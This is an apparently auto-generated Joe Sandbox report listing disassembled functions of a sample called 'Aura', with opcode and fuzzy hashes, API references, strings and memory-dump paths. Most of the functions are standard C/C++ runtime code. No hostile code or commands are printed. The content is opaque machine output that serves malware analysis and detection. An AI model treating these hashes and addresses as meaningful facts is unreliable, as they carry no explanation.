Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 03eafbf800552b9ab34e555c501cc7147467724b7d452f4f78dd146e77cc795a
Instruction ID: a4fc5b2e8ef1f26a667b3370ebc0b3095f324b884359ff6c124caa44b53371b3
Opcode Fuzzy Hash: 03eafbf800552b9ab34e555c501cc7147467724b7d452f4f78dd146e77cc795a
Instruction Fuzzy Hash: 04519172600206AFEB219FA1CC85EFBBAE9EF45711B15012BFD04D6252FF71DC1096A0

Function 000AEFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000AF005
AcquireSRWLockExclusive.KERNEL32(000A8E38), ref: 000AF024
AcquireSRWLockExclusive.KERNEL32(000A8E38,000AA2F0,?), ref: 000AF052
TryAcquireSRWLockExclusive.KERNEL32(000A8E38,000AA2F0,?), ref: 000AF0AD
TryAcquireSRWLockExclusive.KERNEL32(000A8E38,000AA2F0,?), ref: 000AF0C4

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: af26108f8c5b3d18a8763f6c4c26c4d37ec5e4d5e9590b942aacebc13679832f
Instruction ID: 000f2ddbae669f30184dab5f8810313d430afc9d5b0eae69dab7afea35ab2c1f
Opcode Fuzzy Hash: af26108f8c5b3d18a8763f6c4c26c4d37ec5e4d5e9590b942aacebc13679832f
Instruction Fuzzy Hash: 5D411671A0060BDBCB20DFE5C885DBAB3F5FF06311B204A3AE45697642DB35E985CB61

Function 000AD4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000AD4C9
std::_Lockit::_Lockit.LIBCPMT ref: 000AD4D3
int.LIBCPMT ref: 000AD4EA

Part of subcall function 000AC1E5: std::_Lockit::_Lockit.LIBCPMT ref: 000AC1F6
Part of subcall function 000AC1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 000AC210

codecvt.LIBCPMT ref: 000AD50D
std::_Lockit::~_Lockit.LIBCPMT ref: 000AD544

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 691e97bf17c896d67bfcc7c08340ca64211d3d50b519151ba92ea161ab7d4f19
Instruction ID: 54c3ad681c965fee2f82dd1567682e110888dc45d20ac2340bd387a6ef7b7ef6
Opcode Fuzzy Hash: 691e97bf17c896d67bfcc7c08340ca64211d3d50b519151ba92ea161ab7d4f19
Instruction Fuzzy Hash: 78018B71D005168FDB01EBE4C901EFEB7B5AF86324F15000AE816AB2D3CF389A00CB92

Function 000AADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000AADDE
std::_Lockit::_Lockit.LIBCPMT ref: 000AADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 000AAE57

Part of subcall function 000AACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 000AACC2

std::locale::_Setgloballocale.LIBCPMT ref: 000AAE04
_Yarn.LIBCPMT ref: 000AAE1A

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: b6cdf311eb6274297c9447969e0286f058f431b95d2b7ff0a203fbe75130e034
Instruction ID: 4209b2447a6202b87c72fd8794c2d3dda22b26107daa83cfeec90f8cb025ad10
Opcode Fuzzy Hash: b6cdf311eb6274297c9447969e0286f058f431b95d2b7ff0a203fbe75130e034
Instruction Fuzzy Hash: 5501B175A012219BEB05EBA0D8519BD77B5FF86750B04400AE801573C2CF385E42CFA2

Function 000A1750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 000A1783

Strings

ios_base::failbit set, xrefs: 000A1BEF
ios_base::eofbit set, xrefs: 000A1BEA
ios_base::badbit set, xrefs: 000A1BFA, 000A1C20

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: 9d0f66c5c13a2a67903469b1f010dc7567f990293f7a53819b632d838b715be5
Instruction ID: be7e3b519abb51d15848899bf5d826e52b469a1aa1e5259308122c7283609bf7
Opcode Fuzzy Hash: 9d0f66c5c13a2a67903469b1f010dc7567f990293f7a53819b632d838b715be5
Instruction Fuzzy Hash: 02F15D75A012148FDB14CFA8C494BADBBF2FF89324F194269E815AB392D735AD05CF90

Function 004298F0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 195COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 004299CD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,?,?), ref: 00429A3F

Strings

Wuv7, xrefs: 0042999E, 00429980
Wuv7, xrefs: 00429A0A

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Wuv7$Wuv7
API String ID: 237503144-1932794618
Opcode ID: e25d58ab24c04b765f1a7a92fece9777d65b5727fe9848fec3fb11f69464d559
Instruction ID: 1d21664b7f25e21536eec30c841bdffe79b404d1da9bba8fb3677da827e04efc
Opcode Fuzzy Hash: e25d58ab24c04b765f1a7a92fece9777d65b5727fe9848fec3fb11f69464d559
Instruction Fuzzy Hash: 0151DEB52483149FE3109F21EC81B5BBBF8FB8A704F10492DF6989B282D7759509CB96

Function 000A73E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 000A7526
___std_exception_copy.LIBVCRUNTIME ref: 000A7561

Part of subcall function 000AAF37: CreateThreadpoolWork.KERNEL32(000AB060,000A8A2A,00000000), ref: 000AAF46
Part of subcall function 000AAF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 000AAF53

Strings

G., xrefs: 000A7551
Fail to schedule the chore!, xrefs: 000A7560

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.
API String ID: 3683891980-2786361616
Opcode ID: 39d47c348ad3eb977c54c81626e3e3f8fea7b57981d85fd93f4c46c67910483e
Instruction ID: bf639ead6aa740d980b06e4bb4622d1de71edb97a0bcf440b9aee16dedd2bec3
Opcode Fuzzy Hash: 39d47c348ad3eb977c54c81626e3e3f8fea7b57981d85fd93f4c46c67910483e
Instruction Fuzzy Hash: 04519EB0D012089FCB14DF94DC44BAEBBB4FF09314F14812AE8196B391E7799905CFA1

Function 0041973F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

@, xrefs: 00419763
V0/., xrefs: 004197DB

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: @$V0/.
API String ID: 0-2384241223
Opcode ID: bba1772812f9aaafa8ad49a2991545f6bf9fcf15dc7ef7d0645953405adfe873
Instruction ID: fd479f24e7454a86608881c10ac1fb51ac8f6e5b5ecef8113ba61f705af730f2
Opcode Fuzzy Hash: bba1772812f9aaafa8ad49a2991545f6bf9fcf15dc7ef7d0645953405adfe873
Instruction Fuzzy Hash: 37411876608341DBD3109F25DC91BAB77E9AFD6311F098A3EE5D8C7281DA388D448726

Function 000A3E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000A3EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 000A4002

Part of subcall function 000AABC5: _Yarn.LIBCPMT ref: 000AABE5
Part of subcall function 000AABC5: _Yarn.LIBCPMT ref: 000AAC09

Strings

bad locale name, xrefs: 000A3F46
|=e., xrefs: 000A3E9B, 000A3F1F

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|=e.
API String ID: 2070049627-889109421
Opcode ID: b9f3036555da22a5f767d30f409e1d5cc72634278b3a1dfeebc6d1e4e2588f61
Instruction ID: 0e1b08839cbdceb16304edd4e14f10eb546439d77692820740470beb04badd4d
Opcode Fuzzy Hash: b9f3036555da22a5f767d30f409e1d5cc72634278b3a1dfeebc6d1e4e2588f61
Instruction Fuzzy Hash: DE415CF0E007459BEB10DF69C805B97BAF8BF05714F044628E5499B781E77AE518CBE2

Function 000AB755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 000AB809

Strings

MOC, xrefs: 000AB789
RCC, xrefs: 000AB795
csm, xrefs: 000AB7A1

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: bd001702a50e86c7a0a7331e7aaed4097b79120fb0558fd783fd1bf038654a0c
Instruction ID: 4ce2f4e63de3be40e91e05ea6ff0d1fae27d69fff04af16f1e4718b518612458
Opcode Fuzzy Hash: bd001702a50e86c7a0a7331e7aaed4097b79120fb0558fd783fd1bf038654a0c
Instruction Fuzzy Hash: 4221CF358042059FDB249FE8C856AAEB7ECEF42720F14451EE41187693DB78AA41CA81

Function 000AF11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,000A253A,?,?,00000000), ref: 000AF129
GetExitCodeThread.KERNEL32(?,00000000,?,?,000A253A,?,?,00000000), ref: 000AF142
CloseHandle.KERNEL32(?,?,?,000A253A,?,?,00000000), ref: 000AF154

Strings

:%, xrefs: 000AF134

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%
API String ID: 2551024706-3734732973
Opcode ID: e902795b20570790acc577d7d92016794a76dfa951f200ee5abc35cd644fcafb
Instruction ID: 214d5edd43eab8caa10170653656c0fd26f790e5b88f4260907e214bbefca695
Opcode Fuzzy Hash: e902795b20570790acc577d7d92016794a76dfa951f200ee5abc35cd644fcafb
Instruction Fuzzy Hash: F0F08231655115EFEF508FA4DC05ABA3BA4EB02770F640321FC21EA1E0E735EE408690

Function 000AABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 000AABE5
_Yarn.LIBCPMT ref: 000AAC09

Strings

|=e., xrefs: 000AABC8
e., xrefs: 000AABD9

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: Yarn
String ID: e.$|=e.
API String ID: 1767336200-1338432414
Opcode ID: 6f6eb047cc6784a691706be6792174063844891b047b8ad7013dadebdb3f659a
Instruction ID: 59a1476ce851f2f25e90512a67f00d2d72d0353d3ee38597134ef4e8fa53859c
Opcode Fuzzy Hash: 6f6eb047cc6784a691706be6792174063844891b047b8ad7013dadebdb3f659a
Instruction Fuzzy Hash: C6E0E5223583046FF71C7A65EC52BF677DCDB45761F10042EFA1A8A6C3EE10ED0485A5

Function 000C6940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,000C69DC,00000000,?,000DD2B0,?,?,?,000C6913,00000004,InitializeCriticalSectionEx,000D0D34,000D0D3C), ref: 000C694D
GetLastError.KERNEL32(?,000C69DC,00000000,?,000DD2B0,?,?,?,000C6913,00000004,InitializeCriticalSectionEx,000D0D34,000D0D3C,00000000,?,000BBBBC), ref: 000C6957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 000C697F

Strings

api-ms-, xrefs: 000C6964

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: d69492d3fa4028c29adf69a2f2851aad87a349f51ee7b20020cfcef2937d0b38
Instruction ID: 241fbba52ffe8b751972fdb1cec98cef0647c8f73d1c2071afe3e73febac1a35
Opcode Fuzzy Hash: d69492d3fa4028c29adf69a2f2851aad87a349f51ee7b20020cfcef2937d0b38
Instruction Fuzzy Hash: EBE01A30780304BBEF201B60EC06F6D3B99EB45B91F240425FA4CAC4E1DB77EC509954

Function 000C3F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 000C4001

Part of subcall function 000BC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,000BD895,?,00000000,-00000008), ref: 000BC082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 000C4253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 000C4299
GetLastError.KERNEL32 ref: 000C433C

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 614a027a67b4d8c7b99e8a93ab13915f42d8bdfe41f51b86e876b156072665aa
Instruction ID: f582280c6309351ebf47e7ceb04595ce1b61af8a06d7524fb373b179cb4f5e96
Opcode Fuzzy Hash: 614a027a67b4d8c7b99e8a93ab13915f42d8bdfe41f51b86e876b156072665aa
Instruction Fuzzy Hash: 6CD15875D002989FDF15CFE8C890AEDBBB5FF49314F28412EE956EB252D630A941CB60

Function 000BB295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000BB35C
___AdjustPointer.LIBCMT ref: 000BB37F
___AdjustPointer.LIBCMT ref: 000BB41B

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 0f40d652338f4ab23f7cc1162060fc7e116e9023cf82b7201d9be28e6d094986
Instruction ID: d337d1a3c900a8c0fea1d5e1f66e18891e1326485cf8b81371d2237d997f6c97
Opcode Fuzzy Hash: 0f40d652338f4ab23f7cc1162060fc7e116e9023cf82b7201d9be28e6d094986
Instruction Fuzzy Hash: B251C272A04702AFDB299F50C991BFEB7E4EF00B10F14452DE94697292D7B1EE40DB90

Function 000A7220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000A72C5
std::_Throw_Cpp_error.LIBCPMT ref: 000A7395
std::_Throw_Cpp_error.LIBCPMT ref: 000A73A3
std::_Throw_Cpp_error.LIBCPMT ref: 000A73B1

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 2a36bd7d4a4a02d8260172374d619d055f78f11f15eda2f9cdefaff668c16a13
Instruction ID: 738cbfb7fbdc51cf4e5c848e0641d817e4812cc42701ef1c31807c6f172eae02
Opcode Fuzzy Hash: 2a36bd7d4a4a02d8260172374d619d055f78f11f15eda2f9cdefaff668c16a13
Instruction Fuzzy Hash: 3141D3B2A003458FDF20DBA4CC417AEB7E4FF46320F158639E81A47692EB34E910CB91

Function 000C1DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 000BC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,000BD895,?,00000000,-00000008), ref: 000BC082

GetLastError.KERNEL32 ref: 000C1E2A
__dosmaperr.LIBCMT ref: 000C1E31
GetLastError.KERNEL32 ref: 000C1E6B
__dosmaperr.LIBCMT ref: 000C1E72

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: b5a33c6f643dc3eb8053f49d90ff0fdb54d1dbf8687cb4c31b42e76d72077fce
Instruction ID: 06c1d796e572fe5854dfdf6f46d3a6794d93cce9360cd291ba52623d74665ae4
Opcode Fuzzy Hash: b5a33c6f643dc3eb8053f49d90ff0fdb54d1dbf8687cb4c31b42e76d72077fce
Instruction Fuzzy Hash: 8A218071604215AFAB20AFA98881EEFB7A9FF46364710852DFC19D7153DB31EC108BA0

Function 000B2BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5538d9745ca8b42de707cc957bfd40c67892d2bb354e2e16849096bf814d2a56
Instruction ID: b7c5fe5756b61446110c56923377e192255cb59f92f627aa45f374b244f1b2bc
